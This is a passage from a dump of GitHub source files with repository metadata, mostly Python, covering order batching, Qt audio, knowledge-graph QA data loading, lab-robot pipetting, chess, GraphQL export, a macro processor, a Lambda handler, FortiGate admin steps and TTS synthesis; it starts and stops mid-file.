savings_matrix['saving'].apply(\n lambda x: self.fill_savings_matrix_eb(nodelist_batch, x))\n savings_matrix.sort_values(by=['saving'], ascending=False, inplace=True)\n return savings_matrix\n\n def fill_savings_matrix_eb(self, nodelist_batch, on):\n '''FILL SAVINGS MATRIX FOR EXISTING BATCHES WITH SAVINGS THAT CORRESPOND TO THE ORDERS'''\n nodelist1 = nodelist_batch\n nodelist2 = self.boxes.at[on, 'nodelist']\n\n nl_combined = nodelist1 + nodelist2\n nl_sorted = self.refpos + self.sorter.sort(nl_combined) + self.refpos\n\n dist_combined = self.distance(nl_sorted)\n dist_sep = self.boxes.at[on, 'distance_per_box'] + self.distance(nodelist1)\n return dist_sep - dist_combined\n\n def add_to_batch(self, savings_matrix):\n order_to_add = savings_matrix.first_valid_index()\n del self.boxes_to_batch[order_to_add]\n self.reduce_capacity(savings_matrix.at[order_to_add, 'size'])\n return order_to_add\n\n\n# %%\n\ncapacity = [980, 980, 980] # mm\nrefpos = [(27, -1)]\n\ndata = pd.read_excel('Data/ups_pick_data_may_june_preprocessed.xlsx')\nselected_data = data[data['DAY_DATE'] == '2019-05-01 00:00:00'][\n ['WAVE_NBR', 'CNTR_NBR', 'LOCN_BRCD', 'Aisle', 'Bay']].copy()\nselected_data['nodelist'] = tuple(zip(selected_data['Aisle'], selected_data['Bay']))\ndist_matrix = pd.read_excel('Data/distance_matrix_UPS_AB_AX.xlsx', index_col=0)\n\nbox_sizes = pd.read_excel('Data/box_dimensions.xlsx')\nsize_list = list(box_sizes['Length (mm)'].values)\n\nboxes = pd.DataFrame(selected_data.groupby('CNTR_NBR')['nodelist'].apply(set).apply(list))\nboxes.index = boxes.index.map(str)\nboxes['size'] = random.choice(size_list)\n\nbatch = Batch(boxes, dist_matrix, capacity, refpos, \"UPS\")\nbatches_test = batch.run_batching()\n\nlen(capacity)\n","repo_name":"AnniekHegeman/batching-algorithm","sub_path":"shipper_dev.py","file_name":"shipper_dev.py","file_ext":"py","file_size_in_byte":9217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"872419976","text":"import sys\nfrom PySide6.QtCore import *\nfrom PySide6.QtGui import *\nfrom PySide6.QtMultimedia import *\nfrom tests.test_apps.mimi_wave.mimi_wave_ui.mimi_wave._mimi_wave import WaveFrames\n\n\napp = QGuiApplication()\n\n\nbuffer = QBuffer()\nbuffer.open(QIODevice.WriteOnly | QIODevice.Truncate)\n\nformat = QAudioFormat()\n\nformat.setSampleRate(44400)\nformat.setChannelCount(1)\nformat.setSampleFormat(QAudioFormat.Int16)\n\n\naudio_source = QAudioSource(format)\naudio_sink = QAudioSink(format)\n\n\ndef handleStateChanged(newState):\n\n if newState == QAudio.State.ActiveState:\n print(\"Recording ...\")\n\n elif newState == QAudio.State.StoppedState:\n print(\"Done ...\")\n\n else:\n print(newState)\n\n\naudio_source.stateChanged.connect(handleStateChanged)\n\n\naudio_source.start(buffer)\n\n\ndef stopRecording():\n audio_source.stop()\n\n print(len(buffer.data()))\n\n buffer.close()\n buffer.open(QIODevice.ReadOnly)\n\n audio_sink.start(buffer)\n\n QTimer.singleShot(3000, app.quit)\n\n\nQTimer.singleShot(3000, stopRecording)\n\napp.exec()\n","repo_name":"prmpsmart/PRMP_Chat","sub_path":"tests/test_apps/qt_audio/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"22207321153","text":"import torch\nimport os,re\nimport pickle\nfrom collections import defaultdict\nfrom transformers import AutoTokenizer\nfrom utils import invert_dict\nfrom tqdm import tqdm\nimport logging\nlogger=logging.getLogger('main.data')\n\ndef collate(batch):\n batch = list(zip(*batch))\n topic_entity, question, answer, entity_range = batch\n topic_entity = torch.stack(topic_entity)\n question = {k:torch.cat([q[k] for q in question], dim=0) for k in question[0]}\n answer = torch.stack(answer)\n entity_range = torch.stack(entity_range)\n return topic_entity, question, answer, entity_range\n\n\nclass Dataset(torch.utils.data.Dataset):\n def __init__(self, questions, ent2id):\n self.questions = questions\n self.ent2id = ent2id\n\n def __getitem__(self, index):\n topic_entity, question, answer, entity_range = self.questions[index]\n topic_entity = self.toOneHot(topic_entity)\n answer = self.toOneHot(answer)\n entity_range = self.toOneHot(entity_range)\n return topic_entity, question, answer, entity_range\n\n def __len__(self):\n return len(self.questions)\n\n def toOneHot(self, indices):\n indices = torch.LongTensor(indices)\n vec_len = len(self.ent2id)\n one_hot = torch.FloatTensor(vec_len)\n one_hot.zero_()\n one_hot.scatter_(0, indices, 1)\n return one_hot\n\n\nclass DataLoader(torch.utils.data.DataLoader):\n def __init__(self, kg_path, qa_file, bert_name, ent2id, rel2id, batch_size,training=False,split_type='\\t'):\n logger.info('Reading questions from {}'.format(qa_file))\n self.tokenizer = AutoTokenizer.from_pretrained(bert_name)\n self.ent2id = ent2id\n self.rel2id = rel2id\n self.id2ent = invert_dict(ent2id)\n self.id2rel = invert_dict(rel2id)\n\n\n\n sub_map = defaultdict(list)\n so_map = defaultdict(list)\n with open(kg_path) as f:\n lines=f.readlines()\n for i in tqdm(range(len(lines))):\n line=lines[i]\n l = line.strip().split(split_type)\n assert len(l)==3\n s = l[0].strip()\n p = l[1].strip()\n o = l[2].strip()\n sub_map[s].append((p, o))\n so_map[(s, o)].append(p)\n\n\n data = []\n with open(qa_file) as f:\n lines=f.readlines()\n for i in tqdm(range(len(lines))):\n line=lines[i]\n line = line.strip()\n if line == '':\n continue\n line = line.split('\\t')\n # if no answer\n if len(line) != 2:\n continue\n # question = line[0].split('[')\n # question_1 = question[0]\n # question_2 = question[1].split(']')\n # head = question_2[0].strip()\n # question_2 = question_2[1]\n # # question = question_1 + 'NE' + question_2\n # question = question_1.strip()\n ans = line[1].strip()\n question=line[0]\n topic_entity=re.findall('<(.*)>',question)[0]\n head=topic_entity\n question=question.replace('<'+topic_entity+'>','NE')\n\n # if (head, ans[0]) not in so_map:\n # continue\n\n entity_range = set()\n for p, o in sub_map[head]:\n entity_range.add(o)\n #一跳路径内的实体作为答案\n # for p2, o2 in sub_map[o]:\n # entity_range.add(o2)\n entity_range = [ent2id[o] for o in entity_range]\n\n head = [ent2id[head]]\n question = self.tokenizer(question.strip(), max_length=64, padding='max_length', return_tensors=\"pt\")\n ans = [ent2id[ans]]\n data.append([head, question, ans, entity_range])\n\n print('data number: {}'.format(len(data)))\n \n dataset = Dataset(data, ent2id)\n\n super().__init__(\n dataset, \n batch_size=batch_size,\n shuffle=training,\n collate_fn=collate, \n )\n\n\ndef load_data(kg_folder,qas_dir, bert_name, batch_size, split_type='\\t'):\n\n ent2id = {}\n ent_path=os.path.join(kg_folder, 'entities.dict')\n logger.info(\"Loading entities from {}\".format(ent_path))\n with open(ent_path) as f:\n lines=f.readlines()\n for i in tqdm(range(len(lines))):\n l = lines[i].strip().split('\\t')\n ent2id[l[0].strip()] = len(ent2id)\n logger.info(\"The number of entity in KG is {}\".format(len(ent2id)))\n rel2id = {}\n rel_path=os.path.join(kg_folder, 'relations.dict')\n logger.info(\"Loading relations from {}\".format(rel_path))\n with open(rel_path) as f:\n lines=f.readlines()\n for i in tqdm(range(len(lines))):\n l = lines[i].strip().split('\\t')\n rel2id[l[0].strip()] = int(l[1])\n logger.info(\"The number of relation in KG is {}\".format(len(rel2id)))\n\n triples = []\n bad_count=0\n kg_path=os.path.join(kg_folder, 'Knowledge.txt')\n logger.info(\"Loading triples from {}\".format(kg_path))\n with open(kg_path) as f:\n lines=f.readlines()\n for i in tqdm(range(len(lines))):\n l = lines[i].strip().split('\\t')\n assert len(l)==3\n try:\n s = ent2id[l[0].strip()]\n p = rel2id[l[1].strip()]\n o = ent2id[l[2].strip()]\n triples.append((s, p, o))\n except Exception as e:\n #logger.exception(e)\n bad_count+=1\n # p_rev = rel2id[l[1].strip()+'_reverse']\n # triples.append((o, p_rev, s))\n print(bad_count)\n triples = torch.LongTensor(triples)\n logger.info(\"Triples size is {}\".format(triples.size()))\n\n train_data = DataLoader(os.path.join(kg_folder, 'Knowledge.txt'), \n os.path.join(qas_dir, 'train.txt'), bert_name, ent2id, rel2id, batch_size, training=True)\n test_data = DataLoader(os.path.join(kg_folder, 'Knowledge.txt'), \n os.path.join(qas_dir, 'test.txt'), bert_name, ent2id, rel2id, batch_size)\n\n return ent2id, rel2id, triples, train_data, test_data\n","repo_name":"xianghuisun/Chinese_KGQA","sub_path":"kgclue/TransferNet/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"75"} +{"seq_id":"27037748696","text":"from opentrons import labware, instruments\n\n# labware setup\nplate_1 = labware.load('96-flat', '1')\nplate_2 = labware.load('96-flat', '2')\nplate_3 = labware.load('96-flat', '4')\nplate_4 = labware.load('96-flat', '5')\noutput_384 = labware.load('384-plate', '3')\n\ntipracks = [labware.load('opentrons-tiprack-300ul', slot)\n for slot in ['6', '7', '8', '9', '10', '11']]\n\n\ndef run_custom_protocol(transfer_volume: float=300):\n\n if transfer_volume > 50:\n pipette = instruments.P300_Multi(\n mount='left',\n tip_racks=tipracks)\n else:\n pipette = instruments.P50_Multi(\n mount='right',\n tip_racks=tipracks)\n\n dest_1 = [well for well in output_384.rows(0)[::2]]\n for source, dest in zip(plate_1.cols(), dest_1):\n pipette.transfer(transfer_volume, source, dest)\n\n dest_2 = [well for well in output_384.rows(0)[1::2]]\n for source, dest in zip(plate_2.cols(), dest_2):\n pipette.transfer(transfer_volume, source, dest)\n\n dest_3 = [well for well in output_384.rows(1)[::2]]\n for source, dest in zip(plate_3.cols(), dest_3):\n pipette.transfer(transfer_volume, source, dest)\n\n dest_4 = [well for well in output_384.rows(1)[1::2]]\n for source, dest in zip(plate_4.cols(), dest_4):\n pipette.transfer(transfer_volume, source, dest)\n","repo_name":"yutaimai/Protocols","sub_path":"protocols/1222-eurofins-genomics/filling_384_well_plate.ot2.py","file_name":"filling_384_well_plate.ot2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"23126386481","text":"import Piece\n\nclass Board():\n\n def __init__(self):\n self.board = []\n for i in range(8):\n self.board.append([None]*8)\n\n #Instantiate white pieces\n self.board[7][0] = Piece.Rook(\"w\")\n self.board[7][1] = Piece.Knight(\"w\")\n self.board[7][2] = Piece.Bishop(\"w\")\n self.board[7][3] = Piece.Queen(\"w\")\n self.board[7][4] = Piece.King(\"w\")\n self.board[7][5] = Piece.Bishop(\"w\")\n self.board[7][6] = Piece.Knight(\"w\")\n self.board[7][7] = Piece.Rook(\"w\")\n\n for i in range(8):\n self.board[6][i] = Piece.Pawn(\"w\")\n\n #Instantiate black pieces\n self.board[0][0] = Piece.Rook(\"b\")\n self.board[0][1] = Piece.Knight(\"b\")\n self.board[0][2] = Piece.Bishop(\"b\")\n self.board[0][3] = Piece.Queen(\"b\")\n self.board[0][4] = Piece.King(\"b\")\n self.board[0][5] = Piece.Bishop(\"b\")\n self.board[0][6] = Piece.Knight(\"b\")\n self.board[0][7] = Piece.Rook(\"b\")\n\n for i in range(8):\n self.board[1][i] = Piece.Pawn(\"b\")\n\n\n def draw_board(self):\n \n print(\" _____ _____ _____ _____ _____ _____ _____ _____\") # top of board\n \n for i in range(8):\n print(\"| | | | | | | | |\")\n print(\"|\", end=\"\")\n for j in range(8):\n if self.board[i][j] == None:\n print(\" \",end =\"\")\n else:\n if self.board[i][j].get_color() == \"b\":\n print(\"\\033[94m \" + self.board[i][j].get_name() + \"\\033[0m\", end=\"\")\n else:\n print(\" \" + self.board[i][j].get_name(), end=\"\")\n print(\" |\",end=\"\")\n print(\" \" + str(8 - i)) # Ranks on right side of board\n print(\"|_____|_____|_____|_____|_____|_____|_____|_____|\")\n\n #Letters are the bottom of board\n letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n for i in range(7):\n print(\" \" + letters[i] + \" \", end=\"\")\n print(\" h \")\n \n def move_piece(self, piece, dest):\n selectedPiece = self.board[piece[0]][piece[1]]\n if selectedPiece.is_valid_move(self, piece, dest):\n print(\"valid move\")\n else:\n print(\"not valid move\")\n\n if self.check_castle(selectedPiece, piece, dest):\n self.board[dest[0]][ dest[1]] = selectedPiece\n selectedPiece.has_moved()\n self.board[piece[0]][piece[1]] = None\n\n def check_castle(self, king, start, dest):\n #print('castle check started')\n if king.get_name() == \"K\" and king.is_first_move():\n #print('piece is king and it is the first move')\n #print(dest[0])\n if dest[1] == 1 and self.board[start[0]][0]:\n #print('king is moving left and a piece exists on the rook square')\n rook = self.board[start[0]][0]\n if rook.get_name() == \"R\" and rook.is_first_move():\n #print('rook square is a rook and the rook has not moved yet')\n self.board[dest[0]][dest[1]] = king\n king.has_moved()\n self.board[start[0]][start[1]] = None\n self.board[dest[0]][dest[1] + 1] = rook\n rook.has_moved()\n self.board[start[0]][0] = None\n return False\n if dest[1] == 6 and self.board[start[0]][7]:\n #print('king is moving right and a piece exists on the rook square')\n rook = self.board[start[0]][7]\n if rook.get_name() == \"R\" and rook.is_first_move():\n self.board[dest[0]][dest[1]] = king\n king.has_moved()\n self.board[start[0]][start[1]] = None\n self.board[dest[0]][dest[1] - 1] = rook\n rook.has_moved()\n self.board[start[0]][7] = None\n return False\n return True\n \n def square_on_board(self, square):\n return square[0] >= 0 and square[0] < 8 and square[1] >= 0 and square[1] < 8\n\n \n \n","repo_name":"arjunajesh/Chess","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74283703601","text":"import dataclasses\nimport decimal\nimport enum\nimport json\nfrom typing import Any, List, Optional\n\nimport strawberry\nfrom strawberry.utils.str_converters import to_camel_case\n\nfrom .resolver import get_resource_map\n\ntry:\n from django.utils.functional import Promise\nexcept ImportError:\n Promise = None\n\n\ndef _fix_data(\n data: Any,\n *,\n key: Optional[str] = None,\n remove_nulls: bool,\n remove_fields_from_types: List[str],\n):\n if isinstance(data, dict):\n data = {\n to_camel_case(k): _fix_data(\n v,\n key=k,\n remove_nulls=remove_nulls,\n remove_fields_from_types=remove_fields_from_types,\n )\n for k, v in data.items()\n if (\n (not remove_nulls or v is not None)\n and not (k in [\"multiple\", \"filterable\", \"orderable\"] and not v)\n )\n }\n\n if \"objKind\" in data and data.get(\"objType\") in remove_fields_from_types:\n data.pop(\"fields\", None)\n\n return data\n if isinstance(data, (list, tuple)):\n return (\n {\n i[\"name\"]: _fix_data(\n i,\n remove_nulls=remove_nulls,\n remove_fields_from_types=remove_fields_from_types,\n )\n for i in data\n }\n if key == \"fields\"\n else [\n _fix_data(\n v,\n remove_nulls=remove_nulls,\n remove_fields_from_types=remove_fields_from_types,\n )\n for v in data\n ]\n )\n\n return data\n\n\nclass _Encoder(json.JSONEncoder):\n def default(self, obj: Any):\n if isinstance(obj, decimal.Decimal):\n return str(obj)\n if isinstance(obj, enum.Enum):\n return obj.name\n if Promise is not None and isinstance(obj, Promise):\n return str(obj)\n\n return super().default(obj)\n\n\ndef to_dict(\n schema: strawberry.Schema,\n *,\n remove_nulls: bool = False,\n remove_nested_types_fields: bool = False,\n):\n resource_map = get_resource_map(schema)\n data = {name: dataclasses.asdict(r) for name, r in resource_map.items()}\n remove_types = list(data) if remove_nested_types_fields else []\n return {\n k: _fix_data(v, remove_nulls=remove_nulls, remove_fields_from_types=remove_types)\n for k, v in data.items()\n }\n\n\ndef to_json(\n schema: strawberry.Schema,\n *,\n remove_nulls: bool = False,\n remove_nested_types_fields: bool = False,\n **kwargs,\n):\n data = to_dict(\n schema,\n remove_nulls=remove_nulls,\n remove_nested_types_fields=remove_nested_types_fields,\n )\n return json.dumps(data, cls=_Encoder, **kwargs)\n","repo_name":"blb-ventures/strawberry-resources","sub_path":"strawberry_resources/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"39807254090","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 2 11:41:48 2019\n\n@author: jinyanliu\n\"\"\"\ndef intToStr(i):\n digits='0123456789'\n if i == 0:\n return '0'\n result = ''\n while i>0:\n x = i%10\n result = digits[x] + result\n i = i//10\n return result\n\nprint (intToStr(25))\n\ndef addDigits(n):\n stringRep = intToStr(n)\n val = 0\n for c in stringRep:\n val += int(c)\n return val\n\nprint (addDigits(25))\n\nprint (2**20)","repo_name":"jinyanliu/edx_python","sub_path":"src/9_3_2_logarithmic_complexity.py","file_name":"9_3_2_logarithmic_complexity.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21917589328","text":"from collections import OrderedDict\n\nmacro_name_table = OrderedDict()\nmacro_definition_table = list()\nkeyword_parameter_default_table = list()\n\nparameter_name_tables = list()\n\nmdt_pointer = 0\nkpd_pointer = 0\n\npn_pointer = 0\n\nsource_code = None\n\nwith open(\"macro-example.txt\", \"r\") as inp:\n source_code = inp.readlines()\n\nmacro_encountered = False\nmacro_name_added = False\nmacro_ended = False\n\nfor line_number, line in enumerate(source_code, 1):\n line = line.strip('\\n').strip()\n\n if 'START' in line:\n break\n\n if not macro_encountered:\n if 'MACRO' in line.upper():\n macro_encountered = True\n continue\n\n if macro_name_added:\n\n if 'MEND' in line:\n pn_pointer = pn_pointer + 1\n macro_definition_table.append(line.strip())\n mdt_pointer += 1\n macro_ended = True\n continue\n\n instruction, args = [l.strip() for l in line.split(' ', 1)]\n current_definition = f\"{instruction} \"\n\n if ',' in args:\n args = args.split(\",\")\n for arg in args:\n arg = arg.strip()\n try:\n index = parameter_name_tables[pn_pointer].index(arg)\n current_definition += f\"(P,{index}),\"\n except ValueError:\n current_definition += f\"{arg}, \"\n current_definition = current_definition[0: len(current_definition) - 1]\n else:\n args = args.strip()\n try:\n index = parameter_name_tables[pn_pointer].index(args)\n current_definition += f\"(P,{index})\"\n except ValueError:\n current_definition += f\"{args}\"\n macro_definition_table.append(current_definition)\n mdt_pointer += 1\n\n else:\n name, parameters = [i.strip() for i in line.split(' ', 1)]\n macro_name_table[name] = {\n 'mdtp': mdt_pointer,\n 'kpdtp': kpd_pointer,\n '#pp': 0,\n '#kp': 0\n }\n parameter_name_tables.append([])\n parameters = parameters.split(',')\n for param in parameters:\n param = param.strip()\n if '=' in param:\n p, default = param.split('=')\n if default == '':\n default = None\n\n parameter_name_tables[pn_pointer].append(p)\n\n keyword_parameter_default_table.append((p, default))\n macro_name_table[name]['#kp'] += 1\n kpd_pointer = kpd_pointer + 1\n else:\n parameter_name_tables[pn_pointer].append(param)\n macro_name_table[name]['#pp'] += 1\n macro_name_added = True\n macro_encountered = False\n\nfrom pprint import pprint\n\npprint(macro_definition_table)\npprint(keyword_parameter_default_table)\npprint(macro_name_table)\n\nfrom pickle import dump\n\nwith open(\"mdt.pkl\", \"wb+\") as mdt:\n dump(macro_definition_table, mdt)\n\nwith open(\"mnt.pkl\", \"wb+\") as mnt:\n dump(macro_name_table, mnt)\n\nwith open(\"kpdt.pkl\", \"wb+\") as kpdt:\n dump(keyword_parameter_default_table, kpdt)\n\nwith open(\"pn.pkl\", \"wb+\") as pn:\n dump(parameter_name_tables, pn)","repo_name":"karnawatparas/btech-ce","sub_path":"Semester-5/Systems-Programming/Macroprocessor/processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74859557361","text":"import json\nfrom querys import insertData, selectData\n\ndef lambda_handler(event: dict, context):\n method = event[\"requestContext\"][\"http\"][\"method\"]\n if method == \"GET\":\n return getData()\n elif method == \"POST\":\n return postData(event)\n \n return {\n 'statusCode': 400,\n 'body': json.dumps({'status': False})\n }\n\ndef getData():\n data = selectData()\n return {\n 'statusCode': 200,\n 'body': json.dumps({'data': data})\n }\n\ndef postData(event: dict):\n if verifyBodyPost(event) is False: \n return {\n 'statusCode': 400,\n 'body': json.dumps({'status': False})\n }\n \n body = json.loads(event[\"body\"])\n succes = insertData(body[\"rut\"], body[\"nombre\"], body[\"apellido\"], body[\"celular\"])\n return {\n 'statusCode': 200,\n 'body': json.dumps({'status': succes})\n }\n\ndef verifyBodyPost(event: dict) -> bool:\n if event.get(\"body\") is not None:\n body: dict = json.loads(event[\"body\"])\n if body.get(\"rut\") is None: return False\n if body.get(\"nombre\") is None: return False\n if body.get(\"apellido\") is None: return False\n if body.get(\"celular\") is None: return False\n return True\n return False","repo_name":"CoffeSiberian/lambda_function_datatable","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7814139909","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom . import views\n\nrouter = DefaultRouter()\nrouter.register(r'companies', views.CompanyViewSet)\nrouter.register(r'students', views.StudentViewSet)\n\nurlpatterns = [\n path('api', include(router.urls)),\n path('list', views.student_list, name=\"student_list\"),\n path('add', views.add_student, name=\"add_student\"),\n path('random', views.random_student, name=\"random_student\"),\n path('random/result', views.random_student_result, name=\"random_student_result\"),\n\n]","repo_name":"hyung000620/ESTSOFT","sub_path":"DJANGO_DATA/project/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34707205009","text":"import getopt\nimport json\nimport logging\nimport argparse\n\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom bs4 import BeautifulSoup\nfrom indexer.body import Body\nfrom indexer.info import Info\nfrom indexer.pbar import TqdmLoggingHandler\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.INFO)\nlog.addHandler(TqdmLoggingHandler())\n\ninput_directory = output_file = None\n\nparser = argparse.ArgumentParser(\n description='''Extracts data from the .html files from a source directory.\n Argument defaults for the input directory and output file are ./cases/ and output.json.''')\nparser.add_argument('-i', help=\"location of the directory containing the cases (default: cases)\",\n default=\"cases\", dest=\"input_directory\")\nparser.add_argument('-o', help=\"output filename (default: output.json)\",\n default=\"output.json\", dest=\"output_file\")\n\narguments = parser.parse_args()\ninput_directory = Path(arguments.input_directory)\noutput_file = arguments.output_file\n\nif input_directory.exists():\n data = []\n previous_case = {}\n\n for i, in_file in enumerate(tqdm(sorted(input_directory.glob('*.htm*')))):\n with open(in_file, 'r', encoding='utf-8', errors='ignore') as read_file:\n log.debug(f'Processing: \"{in_file}\"')\n soup = BeautifulSoup(read_file, 'lxml')\n case = Info.index(soup, in_file)\n if Body.index(soup):\n case['paragraphs'] = Body.index(soup)\n if case and case != previous_case:\n data.append(case)\n previous_case = case\n\n with open(output_file, 'w') as w:\n log.info(f'Writing JSON to {output_file}')\n json.dump(data, w, indent=2)\n log.info(f'JSON saved as {output_file}')\n\nelse:\n log.error(\n f'Directory \"{input_directory}\" was not found. Run `python index.py -h` for help.')\n","repo_name":"minebenders/proj-minecraft","sub_path":"case_extractor.py","file_name":"case_extractor.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29136311846","text":"tnum = input(\"Introduce the ticket number (without TMC#): \")\ndesc = input(\"Enter the CR title: \")\nusername = input(\"Write the username: \")\nfinal = '{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}'.format(\n\"1) Log into \"\n \"the FortiGate with tmc_emergency details (password stored in TPM) in Read-Write mode.\\n\\\n2) Go to root Virtual Domain. Under User & Device list, choose User -> User definition. \\n\\\n3) Search for \",username,\" and right-click on it. Revoke the token.\\n\\\n4) Edit the account \",username,\" and assign him a new token.\\n\\\n5) Send the activation code on the same step.\\n\\\n6) Log out from the FortiGate.\\n\\\n7) Perform a config retrieve in FortiManager: log in with your own details.\\n\\\n\\t - Lock the ADOM called EUROPE.\\n\\\n\\t - Under Device Manager tab, choose the bt1-fw8 Device.\\n\\\n\\t - Click on Revision History under \\\"Configuration and Installation Status\\\"\\n\\\n\\t - Click on Retrieve.\\n\\\n\\t - Edit the last Retrieve and write: \",desc,\"- TMC#\",tnum,\"\\n\\\n\\t - Under Policy&Objects tab, create a session with following information: \",desc,\" - TMC\",tnum,\" - Retrieve after creating and assigning a token to \",username,\"\\n\\\n\\t - Under Device manager tab, choose the All Fortigate Device and Import Policy packages for root, market and CADaidence.\\n\\\n\\t - Submit the session.\\n\\\n\\t - Lock the ADOM called EUROPE again.\\n\\\n\\t - Approve the session.\\n\\\n8) Log out from the fortimanager.\")\nprint(final)","repo_name":"kialh/templates","sub_path":"reassignToken.py","file_name":"reassignToken.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71226694321","text":"import numpy as np\nimport time\n\n\n#udp_server.listen(0)\n\nimport numpy as np\nimport soundfile as sf\nimport yaml\n\nimport tensorflow as tf\n\nfrom tensorflow_tts.inference import TFAutoModel\nfrom tensorflow_tts.inference import AutoProcessor\nfrom tensorflow_tts.inference import AutoConfig\n\nfrom tokenizer import tokenize_sentence\nimport os\nclass Sythensis:\n def __init__(self):\n # initialize fastspeech2 model.\n print(os.path.dirname(\".\"))\n curr_dir = os.path.dirname(__file__)\n print(os.path.dirname(__file__))\n print(os.path.isfile(\"./models/tts-tacotron2-ljspeech-en/config.yml\"))\n tacotron2_config = AutoConfig.from_pretrained(curr_dir+\"/models/tts-tacotron2-ljspeech-en/config.yml\") \n self.tacotron2 = TFAutoModel.from_pretrained(curr_dir+\"/models/tts-tacotron2-ljspeech-en/model.h5\",tacotron2_config )\n\n # initialize mb_melgan model\n mb_melgan_config = AutoConfig.from_pretrained(curr_dir+\"/models/tts-mb_melgan-ljspeech-en/config.yml\") \n self.mb_melgan = TFAutoModel.from_pretrained(curr_dir+\"/models/tts-mb_melgan-ljspeech-en/model.h5\",mb_melgan_config)\n\n\n # inference\n self.processor = AutoProcessor.from_pretrained(curr_dir+\"/models/tts-tacotron2-ljspeech-en/processor.json\")\n def __sythenize__(self,text):\n input_ids = self.processor.text_to_sequence(text)\n\n decoder_output, mel_outputs, stop_token_prediction, alignment_history = self.tacotron2.inference(\n input_ids=tf.expand_dims(tf.convert_to_tensor(input_ids, dtype=tf.int32), 0),\n input_lengths=tf.convert_to_tensor([len(input_ids)], tf.int32),\n speaker_ids=tf.convert_to_tensor([0], dtype=tf.int32),\n )\n audio = self.mb_melgan.inference(mel_outputs)[0, :, 0]\n return audio\n\n\n def __load_pause__(self,filename):\n y,sr = sf.read(filename)\n return y\n\n def sythnize(self,text):\n full_audio = np.array([])\n sents = tokenize_sentence(text)\n curr_dir = os.path.dirname(__file__)\n pause = self.__load_pause__(curr_dir+\"/short pause.wav\")\n for sent in sents:\n audio = self.__sythenize__(sent)\n print(audio.numpy().shape)\n full_audio = np.append(full_audio,audio.numpy())\n # add pause\n full_audio = np.append(full_audio,pause)\n return full_audio\n\nif __name__ == \"__main__\":\n tts_synthesis = Sythensis()\n","repo_name":"katcom/Evolving-Neural-Networks-for-Text-to-Speech-Synthesis-with-Genetic-Algorithms","sub_path":"Tacotron Server/sythensis/sythensis.py","file_name":"sythensis.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41642694895","text":"# pylint: disable=import-error\n# pylint: disable=protected-access\n# pylint: disable=too-many-locals\n# pylint: disable=too-many-statements\n\"\"\"functions for tex generation\"\"\"\n\nimport io\nimport os\nimport os.path\n\nimport re\n\nimport warnings\n\n\nimport chess\nimport chess.pgn\nimport numpy as np\nimport pandas as pd\n\nimport eco\nimport pgn\nimport config\n\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\ndef prep_round4sort(val: str) -> str:\n \"\"\"Return a val that can be sorted easy\"\"\"\n return ('0000000' + val)[-7:]\n\ndef prep_date(val: str) -> str:\n \"\"\"Return a date val w/o ?\"\"\"\n if '?' in val:\n return ''.join(val.replace('?','').split('.'))\n else:\n return val\n\ndef get_num_of_rows(length: int, cols: int) -> int:\n \"\"\"Return the number of rows needed for a list with given length\n becomming an array with given cols\"\"\"\n if (length % cols) != 0:\n rows = length / cols + 1\n else:\n rows = length / cols\n return int(rows)\n\n\ndef gen_list(length: int, cols: int) -> list:\n \"\"\"Return a list that fits to an array of given cols\"\"\"\n rows = get_num_of_rows(length, cols)\n arr = np.empty((rows, cols), dtype=str)\n for ze in range(arr.shape[0]):\n for sp in range(arr.shape[1]):\n arr[ze, sp] = ''\n return list(np.reshape(arr, cols*rows))\n\n\ndef gen_digram_table(white: str, \n black: str, \n cols : int, \n game_data_df: pd.DataFrame,\n result: str) -> str:\n \"\"\"Return the game's diagrams and lan into a table\"\"\"\n\n out = ''\n out += '\\setlength\\LTleft{0mm}\\n'\n \n if cols == 4:\n out += '\\\\begin{longtable}{C{40mm} C{40mm} C{40mm} C{40mm}}\\n' + \\\n '\\\\hline\\n' + \\\n white + ' & ' + black + ' & ' + \\\n white + ' & ' + black + ' \\\\\\\\ \\n'\n out += '\\\\hline\\n' + \\\n '\\\\endhead\\n\\n'\n\n if cols == 2:\n out += '\\\\begin{longtable}{C{53mm} C{53mm} | R{51mm}}\\n'\n\n out += '\\\\hline\\n' + \\\n '$\\\\square$ 